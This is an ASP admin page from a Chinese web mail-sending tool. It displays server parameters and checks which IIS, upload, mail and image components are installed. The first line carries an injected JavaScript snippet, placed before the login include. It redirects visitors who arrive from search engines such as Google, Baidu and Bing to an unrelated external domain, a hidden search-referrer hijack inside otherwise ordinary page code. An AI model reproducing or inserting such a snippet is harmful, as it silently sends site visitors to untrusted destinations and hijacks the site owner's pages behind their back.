d:\wwwroot\wuchunhua\sendmail\mail_main.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<html>
003:
<head>
004:
<title>管理首页</title>
005:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006:
<link rel="stylesheet" href="inc/style.css">
007:
</head>
008:
<body>
009:
<table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
010:
<tr>
011:
<td height="26" class="table_titlebg">版权信息</td>
012:
</tr>
013:
<tr>
014:
<td class="table_trbg02">技术支持： <a href="http://www.vwen.com/" target="_blank">微网网络</a> ASP技术交流QQ群：19535106 产品技术支持QQ群：39735648 联系邮箱：noerr@163.com </td>
015:
</tr>
016:
</table>
017:
018:
<br class="table_br" />
019:
<table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
020:
<tr>
021:
<td colspan="2" class="table_titlebg">服务器参数</td>
022:
</tr>
023:
<tr>
024:
<td width="50%" class="table_trbg02">服务器正在运行的端口：
<%
=Request.ServerVariables("server_port")
%
></td>
025:
<td class="table_trbg02">脚本解释引擎：
<%
=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion
%
></td>
026:
</tr>
027:
<tr>
028:
<td class="table_trbg02">服务器名称：
<%
=Request.ServerVariables("SERVER_SOFTWARE")
%
></td>
029:
<td class="table_trbg02">服务器IP：
<%
=Request.ServerVariables("LOCAL_ADDR")
%
></td>
030:
</tr>
031:
<tr>
032:
<td class="table_trbg02">站点物理路径：
<%
=Request.ServerVariables("path_translated")
%
></td>
033:
<td class="table_trbg02">虚拟路径：
<%
=Request.ServerVariables("server_name")
%
></td>
034:
</tr>
035:
<tr>
036:
<td class="table_trbg02">服务器Application数量：
<%
=Application.Contents.Count
%
> 个</td>
037:
<td class="table_trbg02">服务器Session数量：
<%
=Session.Contents.Count
%
> 个</td>
038:
</tr>
039:
<tr>
040:
<td class="table_trbg02">服务器当前时间：
<%
=now()
%
></td>
041:
<td class="table_trbg02">脚本连接超时时间：
<%
=Server.ScriptTimeout
%
> 秒</td>
042:
</tr>
043:
<tr>
044:
<td colspan="2" class="table_trbg02"><strong>IIS自带的ASP组件</strong></td>
045:
</tr>
046:
<tr>
047:
<td class="table_trbg02">MSWC.AdRotator：
<%
If IsObjInstalled("MSWC.AdRotator") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
048:
<td class="table_trbg02">MSWC.BrowserType：
049:
<%
If IsObjInstalled("MSWC.BrowserType") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
050:
</tr>
051:
<tr>
052:
<td class="table_trbg02">MSWC.NextLink：
<%
If IsObjInstalled("MSWC.NextLink") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
053:
<td class="table_trbg02">aMSWC.Tools：
054:
<%
If IsObjInstalled("MSWC.Tools") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
055:
</tr>
056:
<tr>
057:
<td class="table_trbg02">MSWC.Status：
<%
If IsObjInstalled("MSWC.Status") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
058:
<td class="table_trbg02">MSWC.Counters：
059:
<%
If IsObjInstalled("MSWC.Counters") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
060:
</tr>
061:
<tr>
062:
<td class="table_trbg02">IISSample.ContentRotator：
<%
If IsObjInstalled("IISSample.ContentRotator") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
063:
<td class="table_trbg02">IISSample.PageCounter：
064:
<%
If IsObjInstalled("IISSample.PageCounter") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
065:
</tr>
066:
<tr>
067:
<td class="table_trbg02">MSWC.PermissionChecker：
<%
If IsObjInstalled("MSWC.PermissionChecker") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
068:
<td class="table_trbg02">Msxml2.FreeThreadedDOMDocument.3.0：
069:
<%
If IsObjInstalled("Msxml2.FreeThreadedDOMDocument.3.0") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
070:
</tr>
071:
<tr>
072:
<td class="table_trbg02">Scripting.FileSystemObject(FSO 文本文件读写)：
<%
If IsObjInstalled("Scripting.FileSystemObject") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
073:
<td class="table_trbg02">adodb.connection(ADO 数据对象)：
074:
<%
If IsObjInstalled("adodb.connection") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
075:
</tr>
076:
<tr>
077:
<td colspan="2" class="table_trbg02"><strong>常见的文件上传和管理组件</strong></td>
078:
</tr>
079:
<tr>
080:
<td class="table_trbg02">SoftArtisans.FileUp(SA-FileUp 文件上传)：
<%
If IsObjInstalled("SoftArtisans.FileUp") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
081:
<td class="table_trbg02">SoftArtisans.FileManager(SoftArtisans 文件管理)：
082:
<%
If IsObjInstalled("SoftArtisans.FileManager") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
083:
</tr>
084:
<tr>
085:
<td class="table_trbg02">LyfUpload.UploadFile(刘云峰的文件上传组件)：
<%
If IsObjInstalled("LyfUpload.UploadFile") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
086:
<td class="table_trbg02">Persits.Upload.1(ASPUpload 文件上传)：
087:
<%
If IsObjInstalled("Persits.Upload.1") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
088:
</tr>
089:
<tr>
090:
<td class="table_trbg02">w3.upload(Dimac 文件上传)：
<%
If IsObjInstalled("w3.upload") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
091:
<td class="table_trbg02"> </td>
092:
</tr>
093:
<tr>
094:
<td colspan="2" class="table_trbg02"><strong>常见的收发邮件组件</strong></td>
095:
</tr>
096:
<tr>
097:
<td class="table_trbg02">
<%
If IsObjInstalled("JMail.Message") Then
%
>
098:
Jmail4.3邮箱组件支持：
099:
<%
else
%
>
100:
Jmail4.2组件支持：
101:
<%
end if
%
>
102:
<%
If IsObjInstalled("JMail.Message") or IsObjInstalled("JMail.SMTPMail") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
103:
<td class="table_trbg02">CDONTS.NewMail(虚拟 SMTP 发信)：
<%
If IsObjInstalled("CDONTS.NewMail") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
104:
</tr>
105:
<tr>
106:
<td class="table_trbg02">Persits.MailSender(ASPemail 发信)：
<%
If IsObjInstalled("Persits.MailSender") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
107:
<td class="table_trbg02">SMTPsvg.Mailer(ASPmail 发信)：
108:
<%
If IsObjInstalled("SMTPsvg.Mailer") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
109:
</tr>
110:
<tr>
111:
<td class="table_trbg02">SmtpMail.SmtpMail.1(SmtpMail 发信)：
<%
If IsObjInstalled("SmtpMail.SmtpMail.1") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
112:
<td class="table_trbg02">IISmail.Iismail.1(IISmail 发信)：
113:
<%
If IsObjInstalled("IISmail.Iismail.1") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
114:
</tr>
115:
<tr>
116:
<td class="table_trbg02">DkQmail.Qmail(dkQmail 发信)：
<%
If IsObjInstalled("DkQmail.Qmail") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
117:
<td class="table_trbg02">Geocel.Mailer(Geocel 发信)：
118:
<%
If IsObjInstalled("Geocel.Mailer") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
119:
</tr>
120:
<tr>
121:
<td colspan="2" class="table_trbg02"><strong>图像处理组件</strong></td>
122:
</tr>
123:
<tr>
124:
<td class="table_trbg02">Persits.Jpeg(AspJpeg图像)：
125:
<%
If IsObjInstalled("Persits.Jpeg") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
126:
<td class="table_trbg02">SoftArtisans.ImageGen(SA 的图像读写组件)：
<%
If IsObjInstalled("SoftArtisans.ImageGen") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
127:
</tr>
128:
<tr>
129:
<td class="table_trbg02">W3Image.Image(Dimac 的图像读写组件)：
130:
<%
If IsObjInstalled("W3Image.Image") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
131:
<td class="table_trbg02">wsImage.Resize：
<%
If IsObjInstalled("wsImage.Resize") Then response.Write("<span class='red'>√</span>") else response.Write("×")
%
></td>
132:
</tr>
133:
</table>
134:
<CENTER><script language="javascript" type="text/javascript" src="http://js.users.51.la/1040178.js"></script></CENTER>
135:
</body>
136:
</html>
137:
138: